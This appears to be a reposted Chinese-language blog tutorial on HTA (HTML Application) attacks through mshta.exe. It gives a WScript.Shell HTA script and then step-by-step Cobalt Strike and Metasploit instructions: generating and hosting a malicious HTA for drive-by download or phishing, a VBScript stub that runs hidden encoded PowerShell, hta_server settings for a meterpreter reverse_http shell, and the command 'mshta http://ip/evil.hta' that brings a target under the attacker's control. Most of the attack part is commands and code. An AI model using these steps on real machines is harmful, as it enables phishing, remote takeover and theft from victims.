2025年HTA(html应用程序)攻击

HTA(html应用程序)攻击HTA 介绍 HTA 是 HTML Application 的缩写 HTML 应用程序 是软件开发的新概念 直接将 HTML 保存成 HTA 的格式 就是一个独立的应用软件 与 VB C 等程序语言所设计的软件界面没什么差别 大多数的 Windows 操作系统都支持 Hta 文件执行

大家好,我是讯享网,很高兴认识大家。
HTA 介绍

HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别

大多数的Windows操作系统都支持Hta文件执行,可双击运行hta应用或命令行窗口mshta.exe解析执行文件,这里的.hta文件可以是本地的也可以是可访问的远程主机上的

HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)

HTA 简单用法

可双击运行hta应用或命令窗口mshta.exe解析执行


讯享网

<script> hta = new ActiveXObject("WScript.Shell"); hta.run("%windir%\\System32\\cmd.exe /c calc.exe", 0); window.close(); </script> 

讯享网

保存为HTA文件后就可以打开 执行后会弹出计算器
在这里插入图片描述

CS中利用

生成一个远端HTA恶意脚本
在这里插入图片描述
设置监听器
Method(payload)建议使用powershell,担心部分系统版本不兼容
在这里插入图片描述
HTML应用文件生成好后,来到Attacks --> Web Drive-by --> Host File,选择刚才生成的文件,最后点击Launch,复制CS创建的链接,在目标主机上打开此链接
在这里插入图片描述
在这里插入图片描述
浏览器访问链接即可下载该hta文件,这种方式也可用于钓鱼
在这里插入图片描述
也可以在目标机器的命令行窗口上执行 mshta http://ip/evil.hta 即可完成上线
在这里插入图片描述
默认情况下,这是以powershell作为payload的hta文件

讯享网<script language="VBScript"> Function var_func() Dim var_shell Set var_shell = CreateObject("Wscript.Shell") var_shell.run "powershell -nop -w hidden -encodedcommand [powershell脚本内容], 0, true End Function var_func self.close </script> 
MSF中利用
use exploit/windows/misc/hta_server set payload windows/meterpreter/reverse_http set lhost ip set lport 监听端口 exploit -j 

在这里插入图片描述
同样,在目标机器的命令行窗口上执行 mshta http://ip/evil.hta 即可完成上线
在这里插入图片描述
GOT IT!

 

小实验小结,具体测试利用方式需根据具体实践场景~

小讯
上一篇 2025-04-08 14:37
下一篇 2025-01-29 09:11

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/13078.html